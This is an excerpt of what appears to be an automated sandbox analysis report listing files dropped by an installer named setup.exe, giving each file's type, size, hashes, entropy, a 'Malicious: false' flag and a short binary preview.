Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%.............................................................................................................................................................................................................................................................................................@..z......u..m..d..c..m..z..........`...%..............................................................................................................................l....g..c..c..c..c..c..c..c..c..c..c..c..c..c..c..x.......-.......................................................................................................=...g..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c.......F.............................................................................................c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\repairic

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.5353892544389707
Encrypted:	false
SSDEEP:	96:+7mrhLDFPIc+Q0VDnSOVKaZ8y4mV4pZeJh:+OhHFPvJurSV24mVb
MD5:	915E40A576FA41DC5F8486103341673E
SHA1:	528CF57F3775638E721C20A6988DBD322FB39273
SHA-256:	BF21B2BC3E7253968405F3D244CDB1C136672A5BDB088B524A333264898A2D11
SHA-512:	66385B58942BAF62B6B33AB646EA981D4A6682F8570B7DF4EFA1A7F4536CB35FE065803314877E95338B8DFB9A854E06A110BD0C2A2D3CE3A7C587E35006649E
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%....................................................................................................................................................................................................................................................................................................x...t..f..f..t.....x...".......................................................................................................................................................d................................d..............................................................................................6bbb.III.III.iii................................N.k................................................j....Z...............................................................................+RRR.III.III.III.III.TTT....(..................o.d..........................................................d...s......

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\sys_min_down.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 27 x 17 x 24, image size 1430, resolution 3778 x 3778 px/m, cbSize 1484, bits offset 54
Category:	dropped
Size (bytes):	1484
Entropy (8bit):	5.656316816992476
Encrypted:	false
SSDEEP:	24:/g99999999999999999999hsJRuuuuuuExc8XyGMochMVVH:XLuuuuuuEa8qocYVH
MD5:	BA8DE1A4FB2E3CA280CD7A3F72D28BCD
SHA1:	4BCB1FBE1390EB0101DF72725B34E364EC0CC551
SHA-256:	A3F47F44AD19A5E5B42204DA311A883025F4F7D951BBD427EDB3A20D759FC5E8
SHA-512:	DFC97335A12E1B33209E2DAC7F222DBEA7F71B93BCD6E4689DD409CBAB6096C78210527F1ABE0C3BB00BBE5CB38B3691B9355AA04D92975C3348B2096C141407
Malicious:	false
Preview:	BM........6...(..........................................SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9......SG9..................................................SG9...SG9...N.N.N.N.N.N.N.N.N.N.N.N.N.N.N.N.N.N.N.N.N.N.N..SG9...SG9...C.C.C.C.C.C.C.C.C.C.C.C.C.C.C.C.C.C.C.C.C.C.C..SG9...SG9....8..8..8..8..8..8SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9..8..8..8..8..8..8..SG9...SG9...r,.r,.r,.r,.r,.r,SG9...........................SG9.r,.r,.r,.r,.r,.r,..SG9...SG9...c!.c!.c!.c!.c!.c!SG9...........................SG9.c!.c!.c!.c!.c!.c!..SG9...SG9...~T.~T.~T.~T.~T.~T.SG9...........................SG9~T.~T.~T.~T.~T.~T....SG9...SG9...pG.pG.pG.pG.pG.pG.SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9pG.pG.pG.pG.pG.pG....SG9...SG9.....{..{..{..{..{..{..{..{..{..{..{..{..{..{..{..{..{..{..{..{..{..{..{..SG9...SG9....y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..SG9...SG9....x..x..x..x..x.

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\sys_min_hot.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 27 x 17 x 24, image size 1430, resolution 3778 x 3778 px/m, cbSize 1484, bits offset 54
Category:	dropped
Size (bytes):	1484
Entropy (8bit):	5.732898239435208
Encrypted:	false
SSDEEP:	24:BHl65uuuuuuuYOrCUFae2qUAAAAAAAAAAAAAAAAAAAAEaxM:hl65uuuuuuuhCi2VAAAAAAAAAAAAAAAB
MD5:	02F22AFAE35430F2092E77BF1CA577B0
SHA1:	91F97B9E65A972DA62FA1F1254B6D1EF1F0E80B8
SHA-256:	D36ECF7B57C82496E41F7F5F36FCF21BE7F0C061B999C5662F18530909AB6542
SHA-512:	FAE0D6E818C987EF1C7829301B39DA098E4766B4A33BAC04A7B4D42E68A3B6DF3D3A6B4C3E29D31BC0CB48B541C8316D4ECC3216F6C2AA7827E2DF5AA1A57786
Malicious:	false
Preview:	BM........6...(..........................................SG:SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG:......TG:..................................................TG:...SG9...^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^..SG9...SG9...Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q..SG9...SG9...C.C.C.C.C.CSG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9.C.C.C.C.C.C..SG9...SG9....5..5..5..5..5..5SG9...........................SG9..5..5..5..5..5..5..SG9...SG9...t'.t'.t'.t'.t'.t'SG9...........................SG9.t'.t'.t'.t'.t'.t'..SG9...SG9...g..g..g..g..g..g.SG9...........................SG9.g..g..g..g..g..g...SG9...SG9...\..\..\..\..\..\.SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9.\..\..\..\..\..\...SG9...SG9....\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|.\|..SG9...SG9....y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..SG9...SG9....x..x..x..x..x.

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\sys_min_inactive.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 27 x 17 x 24, image size 1430, resolution 3778 x 3778 px/m, cbSize 1484, bits offset 54
Category:	dropped
Size (bytes):	1484
Entropy (8bit):	5.512204948904614
Encrypted:	false
SSDEEP:	24:SqxzDt+6Oooo4uuuuuu0oooqFUSUSUSUtUSUSUSUgyNDpOpOpOpOpOpOpOpOpOpF:SqxPZOooo4uuuuuu0oooqFUSUSUSUtUI
MD5:	216E32733B99D128BA7B1DE8748A5D12
SHA1:	2B857CB52CE605E9B8470683468BF331A86A042D
SHA-256:	F856A6E498EF981476B85590200B3CBA06B04C80329B434C1A3F89BA7C7240A3
SHA-512:	3CE39384E4E0138FCF1048819543BA6C6353AE32B597D64C06024F7BF63901D69D23ECF07FD6F754C56E5115A4DCABDB680BD98DF86DB5D8C729552F80BE9D37
Malicious:	false
Preview:	BM........6...(..........................................XE?SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9XE?......YD@.........................................................................YD@...SG9...........................................................................SG9...SG9...........................................................................SG9...SG9...............SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9...............SG9...SG9...............SG9...........................SG9...............SG9...SG9...............SG9...........................SG9...............SG9...SG9...............SG9...........................SG9...............SG9...SG9.....................SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9.....................SG9...SG9....................................................SG9...SG9....................................................SG9...SG9..............

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\sys_min_normal.bmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 27 x 17 x 24, image size 1430, resolution 3778 x 3778 px/m, cbSize 1484, bits offset 54
Category:	dropped
Size (bytes):	1484
Entropy (8bit):	5.514249773809233
Encrypted:	false
SSDEEP:	12:mtOsjeMzM3cb//////2S3YlOuuuuuuPqVKT+E2eOOO1OOOvSvfTQvJBH8eZ:MMW3IOuuuuuuCVs+2OOO1OOOvSHT2T5Z
MD5:	EEDA62BE091F6EF68D9BA7D76C9CFD84
SHA1:	822372B556A550DD93F931B1D115C888D611FD20
SHA-256:	3C746AD942BDD0A9B95414F80CD0E20C32251601A9D579BBDFDAB6C9AD7414F8
SHA-512:	EE394717A1191ED3556FF9359D35861A475A96A14E4026F304D42156E357EC564522333EA745E90BFDCD2EE1A85A01316999EF9B601BDAC47B6ED7015F0C8E14
Malicious:	false
Preview:	BM........6...(..........................................c@LSG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9c@L......e?N....................................................e?N...SG9...b.b.b.b.b.b.b.b.b.b.b.b.b.b.b.b.b.b.b.b.b.b.b..SG9...SG9...Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z..SG9...SG9...R.R.R.R.R.RSG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9.R.R.R.R.R.R..SG9...SG9....I..I..I..I..I..ISG9...........................SG9..I..I..I..I..I..I..SG9...SG9....B..B..B..B..B..BSG9...........................SG9..B..B..B..B..B..B..SG9...SG9....:..:..:..:..:..:SG9...........................SG9..:..:..:..:..:..:..SG9...SG9...z4.z4.z4.z4.z4.z4SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9SG9.z4.z4.z4.z4.z4.z4..SG9...SG9....................................................SG9...SG9....................................................SG9...SG9..............

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\tabback

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PC bitmap, Windows 3.x format, 1 x 200 x 24, cbSize 854, bits offset 54
Category:	dropped
Size (bytes):	854
Entropy (8bit):	3.802531598764924
Encrypted:	false
SSDEEP:	24:kUGGGGGGGGjg/QUVdLbCKKKKKKWqqqqqqr:kGUVdnCKKKKKKWqqqqqqr
MD5:	4C3DDA35E23D44E273D82F7F4C38470A
SHA1:	B62BC59F3EED29D3509C7908DA72041BD9495178
SHA-256:	E728F79439E07DF1AFBCF03E8788FA0B8B08CF459DB31FC8568BC511BF799537
SHA-512:	AB27A59ECCDCAAB420B6E498F43FDFE857645E5DA8E88D3CFD0E12FE96B3BB8A5285515688C7EEC838BBE6C2A40EA7742A9763CF5438D740756905515D9B0CC5
Malicious:	false
Preview:	BMV.......6...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\tempFiles.dll

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	217920
Entropy (8bit):	6.659990688109136
Encrypted:	false
SSDEEP:	3072:s3mBJDmU1w79thLwNj3xrvkLzDSpjqBIe2c8AOAg0FuDGMxwVb7zY2+fS4P:s3MN9WmHcLz+pjqgAOSMmEfSC
MD5:	AE9AA65470306DB7DB02371779BBCE64
SHA1:	6580975408BC4013A5E7A3E717912B30B1CB6294
SHA-256:	FB7B23455C1BE134A4F89824F1CE45EF7D09A25188B6C726ADA9690C9B28EF33
SHA-512:	DB36D383DED9DA8C5B0BE211CB3C816787629993015763A5A19067BC86351C65CC4A9ED149416DF47D3DE02EA3CC35803862EA029FBD5059B1633A2630F7A769
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W..............................................._..............................Q......9...........Rich...........PE..L...A>.d.........."!...$..................... ...............................P.......I....@.....................................<.... ..................@=...0..\.......p...................@...........@............ ...............................text...V........................... ..`.rdata....... ......................@..@.data...4...........................@....rsrc........ ......................@..@.reloc..\....0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\viewer.exe

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	441824
Entropy (8bit):	6.594608504548659
Encrypted:	false
SSDEEP:	12288:51biQnSDqYisDEiD3jbTFiuiSiO+SP533UNlQc:vbvnSDqJsDEiD3PTFTFiM5HUNWc
MD5:	CE5086726084A4E17F01D9C2F04CDBC3
SHA1:	CCD01B0565E823C7462EA18B5CA85F3882824996
SHA-256:	72A27F07BE89F5E42F2E80B2FE94EB96C6CCE19E22524D087CA947AC53E1A021
SHA-512:	ECF7B3EA73BCD37115CA08226E07D0E3FE512F350CE874E2736BF41817411B5838BB2A4C94770D43E94B3401FD042006A7036CD2DF40CF95F7E95A3EABA27764
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........a.m.2.m.2.m.2A..3.m.2A..3<m.26..3.m.26..3.m.26..3.m.2A..3.m.2A..3.m.2A..3.m.2.m.2_m.2...3.m.2..s2.m.2.m.2.m.2...3.m.2Rich.m.2........................PE..L....>.d.........."....$.........................@.................................~5....@..................................4..........8................/.......:..@...p...............................@...............l............................text...F........................... ..`.rdata...R.......T..................@..@.data....7...P.......,..............@....rsrc...8............F..............@..@.reloc...:.......<...R..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI3193.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI3230.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI3250.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1126208
Entropy (8bit):	6.47558339310688
Encrypted:	false
SSDEEP:	24576:+BbmgYewSBprKpygTqkg0z/f2sbQEiwiUt5GFD5IqQc3w0RZqTkqMUM0zVQZv:+BflKp/Dz/f2sbQEidUt5Gp5xz3w0RZP
MD5:	C519803F83155AE74401C90F1F6AD5B1
SHA1:	5D7DF65F700D0303B924B08F576921CA60479374
SHA-256:	14C4DECB2BF71C253AECB0C36A768A1CF202F93C1769265C2819D9FF4BC2B349
SHA-512:	879251E3A07316869F92E1E0F945399BD1C5B451B014C88299076FAA34B7745F5191DB20016EA860EC5FD4756CF99DB9A94DD87C6D710DD609ACC19D88736190
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J"..+L..+L..+L.>YO..+L.>YI.X+L.IUH..+L.IUO..+L.IUI..+L.>YH..+L.>YM..+L..+M..*L..TE..+L..TL..+L..T...+L..+..+L..TN..+L.Rich.+L.........................PE..L....>.d.........."!...$.t..........0u.......................................P............@.........................`...t...............................@=.......A.../..p....................0..........@...............4............................text...^s.......t.................. ..`.rdata...U.......V...x..............@..@.data...8...........................@....rsrc...............................@..@.reloc...A.......B..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI3290.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI32CF.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI32EF.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI331F.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI3340.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI3360.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI34E7.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1126208
Entropy (8bit):	6.47558339310688
Encrypted:	false
SSDEEP:	24576:+BbmgYewSBprKpygTqkg0z/f2sbQEiwiUt5GFD5IqQc3w0RZqTkqMUM0zVQZv:+BflKp/Dz/f2sbQEidUt5Gp5xz3w0RZP
MD5:	C519803F83155AE74401C90F1F6AD5B1
SHA1:	5D7DF65F700D0303B924B08F576921CA60479374
SHA-256:	14C4DECB2BF71C253AECB0C36A768A1CF202F93C1769265C2819D9FF4BC2B349
SHA-512:	879251E3A07316869F92E1E0F945399BD1C5B451B014C88299076FAA34B7745F5191DB20016EA860EC5FD4756CF99DB9A94DD87C6D710DD609ACC19D88736190
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J"..+L..+L..+L.>YO..+L.>YI.X+L.IUH..+L.IUO..+L.IUI..+L.>YH..+L.>YM..+L..+M..*L..TE..+L..TL..+L..T...+L..+..+L..TN..+L.Rich.+L.........................PE..L....>.d.........."!...$.t..........0u.......................................P............@.........................`...t...............................@=.......A.../..p....................0..........@...............4............................text...^s.......t.................. ..`.rdata...U.......V...x..............@..@.data...8...........................@....rsrc...............................@..@.reloc...A.......B..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI3517.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
